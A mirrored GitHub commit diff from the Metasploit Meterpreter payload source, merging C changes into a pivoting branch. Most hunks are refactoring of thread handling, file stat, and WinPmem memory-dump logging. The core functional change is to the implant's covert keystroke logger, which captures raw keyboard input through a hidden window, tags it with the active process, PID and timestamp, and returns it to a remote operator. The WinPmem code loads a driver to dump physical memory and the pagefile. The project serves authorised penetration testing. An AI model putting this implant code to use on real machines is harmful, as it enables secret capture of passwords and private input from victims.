1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-20 14:39:22 +01:00

Merge branch upstream into packet-pivot

This commit is contained in:
OJ 2017-08-08 17:37:59 +10:00
commit 005ba6a8c0
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
18 changed files with 458 additions and 168 deletions

View File

@ -140,7 +140,6 @@ THREAD * thread_open( VOID )
OPENTHREAD pOpenThread = NULL;
HMODULE hKernel32 = NULL;
thread = (THREAD *)malloc( sizeof( THREAD ) );
if( thread != NULL )
{
@ -166,7 +165,7 @@ THREAD * thread_open( VOID )
// If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines.
HMODULE hNtDll = LoadLibrary( "ntdll.dll" );
pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, "NtOpenThread" );
if( pNtOpenThread )
if (pNtOpenThread)
{
_OBJECT_ATTRIBUTES oa = {0};
_CLIENT_ID cid = {0};
@ -185,6 +184,22 @@ THREAD * thread_open( VOID )
return thread;
}
void disable_thread_error_reporting(void)
{
HMODULE hKernel32 = LoadLibrary("kernel32.dll");
DWORD(WINAPI * pSetThreadErrorMode)(DWORD, DWORD *);
pSetThreadErrorMode = (void *)GetProcAddress(hKernel32, "SetThreadErrorMode");
if (pSetThreadErrorMode) {
pSetThreadErrorMode(SEM_FAILCRITICALERRORS, NULL);
}
}
static DWORD THREADCALL thread_preamble(THREAD *thread)
{
disable_thread_error_reporting();
return thread->funk(thread);
}
/*
* Create a new thread in a suspended state.
*/
@ -192,33 +207,33 @@ THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID pa
{
THREAD * thread = NULL;
if( funk == NULL )
if (funk == NULL )
return NULL;
thread = (THREAD *)malloc( sizeof( THREAD ) );
if( thread == NULL )
thread = malloc(sizeof(THREAD));
if (thread == NULL)
return NULL;
memset( thread, 0, sizeof( THREAD ) );
memset(thread, 0, sizeof(THREAD));
thread->sigterm = event_create();
if( thread->sigterm == NULL )
if (thread->sigterm == NULL)
{
free( thread );
free(thread);
return NULL;
}
thread->parameter1 = param1;
thread->parameter2 = param2;
thread->parameter3 = param3;
thread->funk = funk;
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );
thread->handle = CreateThread(NULL, 0, thread_preamble, thread, CREATE_SUSPENDED, &thread->id);
if( thread->handle == NULL )
if (thread->handle == NULL)
{
event_destroy( thread->sigterm );
free( thread );
event_destroy(thread->sigterm);
free(thread);
return NULL;
}

View File

@ -43,19 +43,22 @@ typedef struct _EVENT
HANDLE handle;
} EVENT, * LPEVENT;
typedef struct _THREAD
#define THREADCALL __stdcall
typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread);
struct _THREAD
{
DWORD id;
HANDLE handle;
EVENT * sigterm;
THREADFUNK funk;
LPVOID parameter1;
LPVOID parameter2;
LPVOID parameter3;
} THREAD, * LPTHREAD;
};
#define THREADCALL __stdcall
typedef DWORD (THREADCALL * THREADFUNK)( THREAD * thread );
typedef struct _THREAD THREAD, * LPTHREAD;
/*****************************************************************************************/
@ -83,6 +86,8 @@ THREAD * thread_open( VOID );
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );
void disable_thread_error_reporting(void);
BOOL thread_run( THREAD * thread );
BOOL thread_sigterm( THREAD * thread );

@ -1 +1 @@
Subproject commit 6949f59d421cbacfb1c09d1b310c28a0d03159e1
Subproject commit 06260368d4f0a2bdb9ebcde34e071655df0a0b0a

View File

@ -287,32 +287,118 @@ out:
return rc;
}
static int
attributes_to_mode(DWORD attr)
{
int m = 0;
if (attr & FILE_ATTRIBUTE_DIRECTORY) {
m |= _S_IFDIR | 0111; /* IFEXEC for user,group,other */
} else {
m |= _S_IFREG;
}
if (attr & FILE_ATTRIBUTE_READONLY) {
m |= 0444;
} else {
m |= 0666;
}
return m;
}
static int
attributes_from_dir_w(LPCWSTR pszFile, LPWIN32_FILE_ATTRIBUTE_DATA pfad)
{
HANDLE hFindFile;
WIN32_FIND_DATAW FileData;
hFindFile = FindFirstFileW(pszFile, &FileData);
if (hFindFile == INVALID_HANDLE_VALUE) {
return -1;
}
FindClose(hFindFile);
pfad->dwFileAttributes = FileData.dwFileAttributes;
pfad->ftCreationTime = FileData.ftCreationTime;
pfad->ftLastAccessTime = FileData.ftLastAccessTime;
pfad->ftLastWriteTime = FileData.ftLastWriteTime;
pfad->nFileSizeHigh = FileData.nFileSizeHigh;
pfad->nFileSizeLow = FileData.nFileSizeLow;
return 0;
}
static void
FILE_TIME_to_nsec(FILETIME *in_ptr, uint64_t *time_out)
{
int64_t in;
const int64_t secs_between_epochs = 11644473600;
memcpy(&in, in_ptr, sizeof(in));
*time_out = (in / 10000000) - secs_between_epochs;
}
static int
attribute_data_to_stat(WIN32_FILE_ATTRIBUTE_DATA *info, struct meterp_stat *result)
{
memset(result, 0, sizeof(*result));
result->st_mode = attributes_to_mode(info->dwFileAttributes);
result->st_size = (((__int64)info->nFileSizeHigh) << 32) + info->nFileSizeLow;
FILE_TIME_to_nsec(&info->ftCreationTime, &result->st_ctime);
FILE_TIME_to_nsec(&info->ftLastWriteTime, &result->st_mtime);
FILE_TIME_to_nsec(&info->ftLastAccessTime, &result->st_atime);
return 0;
}
/*
* The CRT of Windows has a number of flaws wrt. its stat() implementation:
* - time stamps are restricted to second resolution
* - file modification times suffer from forth-and-back conversions between
* UTC and local time
* Therefore, we implement our own stat, based on the Win32 API directly.
*
* This is based on the Python 2 implementation from:
* https://github.com/python/cpython/commit/14694662d530d0d1823e1d86f2e5b2e4ec600e86#diff-a6f29e907cbb5fffd44d453bcd7b77d5R741
*/
static int
win32_wstat(const wchar_t* path, struct meterp_stat *result)
{
int code;
const wchar_t *dot;
WIN32_FILE_ATTRIBUTE_DATA info;
if (!GetFileAttributesExW(path, GetFileExInfoStandard, &info)) {
if (GetLastError() != ERROR_SHARING_VIOLATION) {
return -1;
}
else {
if (!attributes_from_dir_w(path, &info)) {
return -1;
}
}
}
code = attribute_data_to_stat(&info, result);
if (code < 0) {
return code;
}
/* Set IFEXEC if it is an .exe, .bat, ... */
dot = wcsrchr(path, '.');
if (dot) {
if (_wcsicmp(dot, L".bat") == 0 ||
_wcsicmp(dot, L".cmd") == 0 ||
_wcsicmp(dot, L".exe") == 0 ||
_wcsicmp(dot, L".com") == 0)
result->st_mode |= 0111;
}
return code;
}
int fs_stat(char *filename, struct meterp_stat *buf)
{
struct _stat64i32 sbuf;
wchar_t *filename_w = utf8_to_wchar(filename);
if (filename_w == NULL) {
return -1;
}
if (_wstat(filename_w, &sbuf) == -1) {
if (win32_wstat(filename_w, buf) == -1) {
return GetLastError();
}
free(filename_w);
buf->st_dev = sbuf.st_dev;
buf->st_ino = sbuf.st_ino;
buf->st_mode = sbuf.st_mode;
buf->st_nlink = sbuf.st_nlink;
buf->st_uid = sbuf.st_uid;
buf->st_gid = sbuf.st_gid;
buf->st_rdev = sbuf.st_rdev;
buf->st_size = sbuf.st_size;
buf->st_atime = sbuf.st_atime;
buf->st_mtime = sbuf.st_mtime;
buf->st_ctime = sbuf.st_ctime;
return ERROR_SUCCESS;
}

View File

@ -279,7 +279,7 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request)
}
/*
* Worker thread for desktop screenshot. Creates a named pipe and reads in the
* Worker thread for desktop screenshot. Creates a named pipe and reads in the
* screenshot for the first client which connects to it.
*/
DWORD THREADCALL desktop_screenshot_thread(THREAD * thread)

View File

@ -8,6 +8,7 @@ extern HINSTANCE hAppInstance;
LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
INT ui_log_key(UINT vKey, USHORT mCode, USHORT Flags);
INT ui_log_key_actwin(UINT vKey, USHORT mCode, USHORT Flags);
INT ui_resolve_raw_api();
/*
@ -46,24 +47,45 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request)
typedef enum { false = 0, true = 1 } bool;
/*
* required function pointers
*/
// required function pointers
f_GetRawInputData fnGetRawInputData;
f_RegisterRawInputDevices fnRegisterRawInputDevices;
f_GetProcessImageFileNameW fnGetProcessImageFileNameW;
f_QueryFullProcessImageNameW fnQueryFullProcessImageNameW;
// this could be modified
const char g_szClassName[] = "klwClass";
// handle to main window
HANDLE tKeyScan = NULL;
// self explanatory
const unsigned int KEYBUFSIZE = 1024 * 1024;
// global keyscan logging buffer
WCHAR *g_keyscan_buf = NULL;
// index into g_keyscan_buf
size_t g_idx = 0;
// buffer containing the current active window on target
WCHAR g_active_image[MAX_PATH] = L"Logging started";
// buffer containing the previous active window on target
WCHAR g_prev_active_image[MAX_PATH] = { 0 };
// pointer to selected data collection function
INT (*gfn_log_key)(UINT, USHORT, USHORT);
// thread boundary condition
BOOL KEYSCAN_RUNNING = false;
DWORD dwThreadId;
// window handle
HWND ghwnd;
/*
* needed for process enumeration
*/
@ -92,7 +114,6 @@ BOOL CALLBACK ecw_callback(HWND hWnd, LPARAM lp) {
int WINAPI ui_keyscan_proc()
{
WNDCLASSEX klwc;
HWND hwnd;
MSG msg;
int ret = 0;
@ -117,16 +138,8 @@ int WINAPI ui_keyscan_proc()
return 0;
}
// initialize g_keyscan_buf
if (g_keyscan_buf) {
free(g_keyscan_buf);
g_keyscan_buf = NULL;
}
g_keyscan_buf = calloc(KEYBUFSIZE, sizeof(WCHAR));
// create message-only window
hwnd = CreateWindowEx(
ghwnd = CreateWindowEx(
0,
g_szClassName,
NULL,
@ -135,7 +148,7 @@ int WINAPI ui_keyscan_proc()
HWND_MESSAGE, NULL, hAppInstance, NULL
);
if (!hwnd)
if (!ghwnd)
{
return 0;
}
@ -185,7 +198,7 @@ LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM l
if (buffer->header.dwType == RIM_TYPEKEYBOARD
&& buffer->data.keyboard.Message == WM_KEYDOWN)
{
if (ui_log_key(buffer->data.keyboard.VKey, buffer->data.keyboard.MakeCode, buffer->data.keyboard.Flags) == -1)
if (gfn_log_key(buffer->data.keyboard.VKey, buffer->data.keyboard.MakeCode, buffer->data.keyboard.Flags) == -1)
DestroyWindow(hwnd);
}
}
@ -194,10 +207,21 @@ LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM l
HeapFree(GetProcessHeap(), 0, buffer);
break;
case WM_DESTROY:
PostQuitMessage(0);
case WM_CLOSE:
// reset index
g_idx = 0;
// torch buffer
free(g_keyscan_buf);
g_keyscan_buf = NULL;
// destroy window and unregister window class
DestroyWindow(hwnd);
UnregisterClass(g_szClassName, hAppInstance);
break;
case WM_QUIT:
return 0;
default:
return DefWindowProc(hwnd, msg, wParam, lParam);
}
@ -213,13 +237,27 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request)
Packet *response = packet_create_response(request);
DWORD result = ERROR_SUCCESS;
if (tKeyScan) {
bool track_active_window = packet_get_tlv_value_bool(request, TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW);
// set appropriate logging function
(track_active_window == true) ? (gfn_log_key = &ui_log_key_actwin) : (gfn_log_key = &ui_log_key);
if (KEYSCAN_RUNNING) {
result = 1;
}
else {
// Make sure we have access to the input desktop
if (GetAsyncKeyState(0x0a) == 0) {
// initialize g_keyscan_buf
if (g_keyscan_buf) {
free(g_keyscan_buf);
g_keyscan_buf = NULL;
}
g_keyscan_buf = calloc(KEYBUFSIZE, sizeof(WCHAR));
tKeyScan = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ui_keyscan_proc, NULL, 0, NULL);
KEYSCAN_RUNNING = true;
}
else {
// No permission to read key state from active desktop
@ -232,6 +270,7 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request)
return ERROR_SUCCESS;
}
/*
* Stops the keyboard sniffer
*/
@ -240,10 +279,11 @@ DWORD request_ui_stop_keyscan(Remote *remote, Packet *request)
{
Packet *response = packet_create_response(request);
DWORD result = ERROR_SUCCESS;
g_idx = 0;
if (tKeyScan) {
TerminateThread(tKeyScan, 0);
KEYSCAN_RUNNING = false;
SendMessageA(ghwnd, WM_CLOSE, 0, 0);
CloseHandle(tKeyScan);
tKeyScan = NULL;
}
else {
@ -264,7 +304,7 @@ DWORD request_ui_get_keys(Remote *remote, Packet *request)
Packet *response = packet_create_response(request);
DWORD result = ERROR_SUCCESS;
if (tKeyScan) {
if (tKeyScan) {
// This works because NULL defines the end of data (or if its wrapped, the whole buffer)
packet_add_tlv_string(response, TLV_TYPE_KEYS_DUMP, (LPCSTR)g_keyscan_buf);
memset(g_keyscan_buf, 0, KEYBUFSIZE);
@ -280,7 +320,7 @@ DWORD request_ui_get_keys(Remote *remote, Packet *request)
}
/*
* Returns the sniffed keystrokes (UTF8)
* Returns the sniffed keystrokes (UTF-8)
*/
DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request)
@ -306,14 +346,15 @@ DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request)
// Transmit the response
packet_transmit_response(result, remote, response);
free(utf8_keyscan_buf);
return ERROR_SUCCESS;
}
/*
* log keystrokes
* log keystrokes and track active window
*/
int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags)
int ui_log_key_actwin(UINT vKey, USHORT mCode, USHORT Flags)
{
HWND foreground_wnd;
HANDLE active_proc;
@ -355,7 +396,7 @@ int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags)
GetSystemTime(&st);
GetDateFormatW(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &st, NULL, date_s, sizeof(date_s));
GetTimeFormatW(LOCALE_USER_DEFAULT, TIME_FORCE24HOURFORMAT, &st, NULL, time_s, sizeof(time_s));
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"\n**\n-[ %s\n-[ @ %s %s UTC\n**\n", g_active_image, date_s, time_s);
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"\n**\n-[ %s | PID: %d\n-[ @ %s %s UTC\n**\n", g_active_image, info.cpid, date_s, time_s);
RtlZeroMemory(g_prev_active_image, MAX_PATH);
_snwprintf(g_prev_active_image, MAX_PATH, L"%s", g_active_image);
}
@ -368,6 +409,80 @@ int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags)
UINT key = (mCode << 16) | (isE0 << 24);
BOOL ctrl_is_down = (1 << 15) & (GetAsyncKeyState(VK_CONTROL));
switch (vKey)
{
case VK_CONTROL:
// ctrl by itself, not much insight to be gained
break;
case VK_BACK:
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<^H>");
break;
case VK_RETURN:
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<CR>\r\n");
break;
case VK_MENU:
if (isE0)
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<RAlt>");
else
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<LAlt>");
break;
case VK_TAB:
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<Tab>");
break;
case VK_NUMLOCK: // pause/break and numlock both send the same message
key = (MapVirtualKey(vKey, MAPVK_VK_TO_VSC) | 0x100);
if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz))
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<%ls>", gknt_buf);
break;
default:
if (ctrl_is_down)
{
if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz))
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<^%ls>", gknt_buf);
}
else if (ToUnicodeEx(vKey, mCode, lpKeyboard, kb, 16, 0, NULL) == 1)
{
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"%ls", kb);
}
else if (GetKeyNameTextW((LONG)key, (LPWSTR)gknt_buf, mpsz))
{
g_idx += _snwprintf(g_keyscan_buf + g_idx, KEYBUFSIZE, L"<%ls>", gknt_buf);
}
}
return 0;
}
/*
* log keystrokes - no window tracking
*/
int ui_log_key(UINT vKey, USHORT mCode, USHORT Flags)
{
WNDINFO info = { 0 };
DWORD mpsz = MAX_PATH;
WCHAR date_s[256] = { 0 };
WCHAR time_s[256] = { 0 };
WCHAR gknt_buf[256] = { 0 };
BYTE lpKeyboard[256];
WCHAR kb[16] = { 0 };
GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK);
GetKeyboardState(lpKeyboard);
// treat g_keyscan_buf as a circular array
// boundary could be adjusted
if ((g_idx + 256) >= KEYBUFSIZE)
{
g_idx = 0;
}
// needed for some wonky cases
const bool isE0 = ((Flags & RI_KEY_E0) != 0);
const bool isE1 = ((Flags & RI_KEY_E1) != 0);
UINT key = (mCode << 16) | (isE0 << 24);
BOOL ctrl_is_down = (1 << 15) & (GetAsyncKeyState(VK_CONTROL));
switch (vKey)
{
case VK_CONTROL:
@ -463,4 +578,4 @@ int ui_resolve_raw_api()
}
return 1;
}
}

2
c/meterpreter/source/extensions/stdapi/stdapi.h Executable file → Normal file
View File

@ -187,6 +187,8 @@
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_STDAPI, 3011 )
#define TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 3012 )
#define TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW MAKE_CUSTOM_TLV( TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_STDAPI, 3013 )
// Event Log
#define TLV_TYPE_EVENT_SOURCENAME MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_STDAPI, 4000 )
#define TLV_TYPE_EVENT_HANDLE MAKE_CUSTOM_TLV( TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_STDAPI, 4001 )

View File

@ -25,9 +25,9 @@
#include <stdio.h>
#include <time.h>
int WinPmem::pad(SIZE_T length)
int WinPmem::pad(uint64_t length)
{
SIZE_T start = 0;
uint64_t start = 0;
ZeroMemory(buffer_, buffer_size_);
@ -38,7 +38,7 @@ int WinPmem::pad(SIZE_T length)
if (!WriteFile(out_fd_, buffer_,
to_write, &bytes_written, NULL) ||
bytes_written != to_write) {
dprintf("Failed to write padding");
dprintf("[WINPMEM] Failed to write padding");
goto error;
};
@ -53,7 +53,7 @@ error:
return 0;
};
int WinPmem::copy_memory(SIZE_T start, SIZE_T end)
int WinPmem::copy_memory(uint64_t start, uint64_t end)
{
LARGE_INTEGER large_start;
@ -75,20 +75,20 @@ int WinPmem::copy_memory(SIZE_T start, SIZE_T end)
if (0xFFFFFFFF == SetFilePointerEx(
fd_, large_start, NULL, FILE_BEGIN)) {
dprintf("Failed to seek in the pmem device.");
dprintf("[WINPMEM] Failed to seek in the pmem device.");
goto error;
};
if (!ReadFile(fd_, buffer_, to_write, &bytes_read, NULL) ||
bytes_read != to_write) {
dprintf("Failed to Read memory.");
dprintf("[WINPMEM] Failed to Read memory.");
goto error;
};
if (!WriteFile(out_fd_, buffer_, bytes_read,
&bytes_written, NULL) ||
bytes_written != bytes_read) {
dprintf("Failed to write image file");
dprintf("[WINPMEM] Failed to write image file");
goto error;
};
@ -112,11 +112,11 @@ int WinPmem::set_write_enabled(void)
if (!DeviceIoControl(fd_, PMEM_WRITE_ENABLE, &mode, 4, NULL, 0,
&size, NULL)) {
dprintf("Failed to set write mode. Maybe these drivers do not support this mode?");
dprintf("[WINPMEM] Failed to set write mode. Maybe these drivers do not support this mode?");
return -1;
};
dprintf("Write mode enabled! Hope you know what you are doing.");
dprintf("[WINPMEM] Write mode enabled! Hope you know what you are doing.");
return 1;
};
@ -125,23 +125,23 @@ void WinPmem::print_mode_(unsigned __int32 mode)
{
switch (mode) {
case PMEM_MODE_IOSPACE:
dprintf("MMMapIoSpace");
dprintf("[WINPMEM] MMMapIoSpace");
break;
case PMEM_MODE_PHYSICAL:
dprintf("\\\\.\\PhysicalMemory");
dprintf("[WINPMEM] \\\\.\\PhysicalMemory");
break;
case PMEM_MODE_PTE:
dprintf("PTE Remapping");
dprintf("[WINPMEM] PTE Remapping");
break;
case PMEM_MODE_PTE_PCI:
dprintf("PTE Remapping with PCI introspection");
dprintf("[WINPMEM] PTE Remapping with PCI introspection");
break;
default:
dprintf("Unknown");
dprintf("[WINPMEM] Unknown");
};
};
@ -155,23 +155,25 @@ void WinPmem::print_memory_info()
// Get the memory ranges.
if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
sizeof(info), &size, NULL)) {
dprintf("Failed to get memory geometry,");
dprintf("[WINPMEM] Failed to get memory geometry,");
goto error;
};
dprintf("CR3: 0x%010llX\n %d memory ranges:",
dprintf("[WINPMEM] CR3: 0x%010llX\n %d memory ranges:",
info.CR3.QuadPart, info.NumberOfRuns);
max_physical_memory_ = 0;
for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++) {
dprintf("Start 0x%08llX - Length 0x%08llX",
dprintf("[WINPMEM] Start 0x%08llX - Length 0x%08llX",
info.Run[i].start, info.Run[i].length);
max_physical_memory_ = (SIZE_T)(info.Run[i].start + info.Run[i].length);
max_physical_memory_ = info.Run[i].start + info.Run[i].length;
};
// When using the pci introspection we dont know the maximum physical memory,
// we therefore make a guess based on the total ram in the system.
dprintf("Acquitision mode ");
dprintf("[WINPMEM] Acquisition mode ");
print_mode_(mode_);
if (mode_ == PMEM_MODE_PTE_PCI) {
@ -182,12 +184,12 @@ void WinPmem::print_memory_info()
if (GlobalMemoryStatusEx(&statusx)) {
max_physical_memory_ = (size_t)(statusx.ullTotalPhys * 3 / 2);
dprintf("Max physical memory guessed at 0x%08llX",
dprintf("[WINPMEM] Max physical memory guessed at 0x%08llX",
max_physical_memory_);
}
else {
dprintf("Unable to guess max physical memory. Just Ctrl-C when done.");
dprintf("[WINPMEM] Unable to guess max physical memory. Just Ctrl-C when done.");
};
};
@ -206,7 +208,7 @@ int WinPmem::set_acquisition_mode(unsigned __int32 mode)
// Set the acquisition mode.
if (!DeviceIoControl(fd_, PMEM_CTRL_IOCTRL, &mode, 4, NULL, 0,
&size, NULL)) {
dprintf("Failed to set acquisition mode %lu ", mode);
dprintf("[WINPMEM] Failed to set acquisition mode %lu ", mode);
print_mode_(mode);
return -1;
};
@ -236,7 +238,7 @@ int WinPmem::create_output_file(TCHAR *output_filename)
NULL);
if (out_fd_ == INVALID_HANDLE_VALUE) {
dprintf("Unable to create output file.");
dprintf("[WINPMEM] Unable to create output file.");
status = -1;
goto exit;
};
@ -253,7 +255,7 @@ int WinPmem::write_coredump()
int status = -1;
if (out_fd_ == INVALID_HANDLE_VALUE) {
dprintf("Must open an output file first.");
dprintf("[WINPMEM] Must open an output file first.");
goto exit;
};
@ -262,12 +264,12 @@ int WinPmem::write_coredump()
// Get the memory ranges.
if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
sizeof(info), &size, NULL)) {
dprintf("Failed to get memory geometry,");
dprintf("[WINPMEM] Failed to get memory geometry,");
status = -1;
goto exit;
};
dprintf("Will write an elf coredump.");
dprintf("[WINPMEM] Will write an elf coredump.");
print_memory_info();
if (!write_coredump_header_(&info)) {
@ -282,7 +284,7 @@ int WinPmem::write_coredump()
last_header_offset_ = out_offset;
if (!WriteFile(out_fd_, metadata_, metadata_len_, &metadata_len_, NULL)) {
dprintf("Can not write metadata.");
dprintf("[WINPMEM] Can not write metadata.");
}
out_offset += metadata_len_;
@ -316,7 +318,7 @@ void WinPmem::CreateChildProcess(TCHAR *command, HANDLE stdout_wr)
siStartInfo.hStdError = stdout_wr;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
dprintf("Launching %s", command);
dprintf("[WINPMEM] Launching %s", command);
// Create the child process.
bSuccess = CreateProcess(NULL,
@ -332,7 +334,7 @@ void WinPmem::CreateChildProcess(TCHAR *command, HANDLE stdout_wr)
// If an error occurs, exit the application.
if (!bSuccess) {
dprintf("Unable to launch process.");
dprintf("[WINPMEM] Unable to launch process.");
return;
}
@ -353,14 +355,14 @@ void WinPmem::write_page_file()
TCHAR filename[MAX_PATH + 1];
if (!GetTempPath(MAX_PATH, path)) {
dprintf("Unable to determine temporary path.");
dprintf("[WINPMEM] Unable to determine temporary path.");
goto error;
}
// filename is now the random path.
GetTempFileName(path, L"fls", 0, filename);
dprintf("Extracting fcat to %s", filename);
dprintf("[WINPMEM] Extracting fcat to %s", filename);
if (extract_file_(WINPMEM_FCAT_EXECUTABLE, filename) < 0) {
goto error;
};
@ -375,7 +377,7 @@ void WinPmem::write_page_file()
// Create a pipe for the child process's STDOUT.
if (!CreatePipe(&stdout_rd, &stdout_wr, &saAttr, 0)) {
dprintf("StdoutRd CreatePipe");
dprintf("[WINPMEM] StdoutRd CreatePipe");
goto error;
};
@ -386,7 +388,7 @@ void WinPmem::write_page_file()
filename, &pagefile_path_[3], pagefile_path_);
CreateChildProcess(command_line, stdout_wr);
dprintf("Preparing to read pagefile.");
dprintf("[WINPMEM] Preparing to read pagefile.");
while (1) {
DWORD bytes_read = buffer_size_;
DWORD bytes_written = 0;
@ -397,7 +399,7 @@ void WinPmem::write_page_file()
if (!WriteFile(out_fd_, buffer_, bytes_read, &bytes_written, NULL) ||
bytes_written != bytes_read) {
dprintf("Failed to write image file");
dprintf("[WINPMEM] Failed to write image file");
goto error;
};
@ -425,7 +427,7 @@ error:
if (!WriteFile(out_fd_, metadata, metadata_len, &bytes_written, NULL) ||
bytes_written != metadata_len) {
dprintf("Failed to write image file");
dprintf("[WINPMEM] Failed to write image file");
};
out_offset += bytes_written;
@ -443,7 +445,7 @@ int WinPmem::write_raw_image() {
int status = -1;
if (out_fd_ == INVALID_HANDLE_VALUE) {
dprintf("Must open an output file first.");
dprintf("[WINPMEM] Must open an output file first.");
goto exit;
};
@ -452,18 +454,18 @@ int WinPmem::write_raw_image() {
// Get the memory ranges.
if (!DeviceIoControl(fd_, PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
sizeof(info), &size, NULL)) {
dprintf("Failed to get memory geometry,");
dprintf("[WINPMEM] Failed to get memory geometry,");
status = -1;
goto exit;
};
dprintf("Will generate a RAW image");
dprintf("[WINPMEM] Will generate a RAW image");
print_memory_info();
int64_t offset = 0;
for (int64_t i = 0; i < info.NumberOfRuns.QuadPart; i++) {
if (info.Run[i].start > offset) {
dprintf("Padding from 0x%08llX to 0x%08llX", offset, info.Run[i].start);
dprintf("[WINPMEM] Padding from 0x%08llX to 0x%08llX", offset, info.Run[i].start);
if (!pad((size_t)(info.Run[i].start - offset))) {
goto exit;
}
@ -519,19 +521,19 @@ int WinPmem::extract_file_(__int64 resource_id, TCHAR *filename)
// Locate the driver resource in the .EXE file.
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(resource_id), L"FILE");
if (hRes == NULL) {
dprintf("Could not locate driver resource.");
dprintf("[WINPMEM] Could not locate driver resource.");
goto error;
}
HGLOBAL hResLoad = LoadResource(NULL, hRes);
if (hResLoad == NULL) {
dprintf("Could not load driver resource.");
dprintf("[WINPMEM] Could not load driver resource.");
goto error;
}
VOID *lpResLock = LockResource(hResLoad);
if (lpResLock == NULL) {
dprintf("Could not lock driver resource.");
dprintf("[WINPMEM] Could not lock driver resource.");
goto error;
}
@ -542,12 +544,12 @@ int WinPmem::extract_file_(__int64 resource_id, TCHAR *filename)
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (out_fd == INVALID_HANDLE_VALUE) {
dprintf("Can not create temporary file.");
dprintf("[WINPMEM] Can not create temporary file.");
goto error_resource;
};
if (!WriteFile(out_fd, lpResLock, size, &size, NULL)) {
dprintf("Can not write to temporary file.");
dprintf("[WINPMEM] Can not write to temporary file.");
goto error_file;
}
CloseHandle(out_fd);
@ -614,7 +616,7 @@ int WinPmem::install_driver() {
scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (!scm) {
dprintf("Can not open SCM. Are you administrator?\n");
dprintf("[WINPMEM] Can not open SCM. Are you administrator?\n");
goto error;
}
@ -641,12 +643,12 @@ int WinPmem::install_driver() {
};
if (!StartService(service, 0, NULL)) {
if (GetLastError() != ERROR_SERVICE_ALREADY_RUNNING) {
dprintf("Error: StartService(), Cannot start the driver.\n");
dprintf("[WINPMEM] Error: StartService(), Cannot start the driver.\n");
goto service_error;
}
}
dprintf("Loaded Driver %s.\n", driver_filename_);
dprintf("[WINPMEM] Loaded Driver %s.\n", driver_filename_);
fd_ = CreateFile(TEXT("\\\\.\\") TEXT(PMEM_DEVICE_NAME),
// Write is needed for IOCTL.
@ -658,7 +660,7 @@ int WinPmem::install_driver() {
NULL);
if (fd_ == INVALID_HANDLE_VALUE) {
dprintf("Can not open raw device.");
dprintf("[WINPMEM] Can not open raw device.");
status = -1;
};
@ -671,7 +673,7 @@ service_error:
error:
// Only remove the driver file if it was a temporary file.
if (driver_is_tempfile_) {
dprintf("Deleting %S", driver_filename_);
dprintf("[WINPMEM] Deleting %S", driver_filename_);
DeleteFile(driver_filename_);
};
@ -695,7 +697,7 @@ int WinPmem::uninstall_driver()
DeleteService(service);
CloseServiceHandle(service);
dprintf("Driver Unloaded.");
dprintf("[WINPMEM] Driver Unloaded.");
return 1;
@ -814,7 +816,7 @@ __int64 WinPmem::write_coredump_header_(struct PmemMemoryInfo *info)
header_size = sizeof(header);
if (!WriteFile(out_fd_, &header, header_size, &header_size, NULL)) {
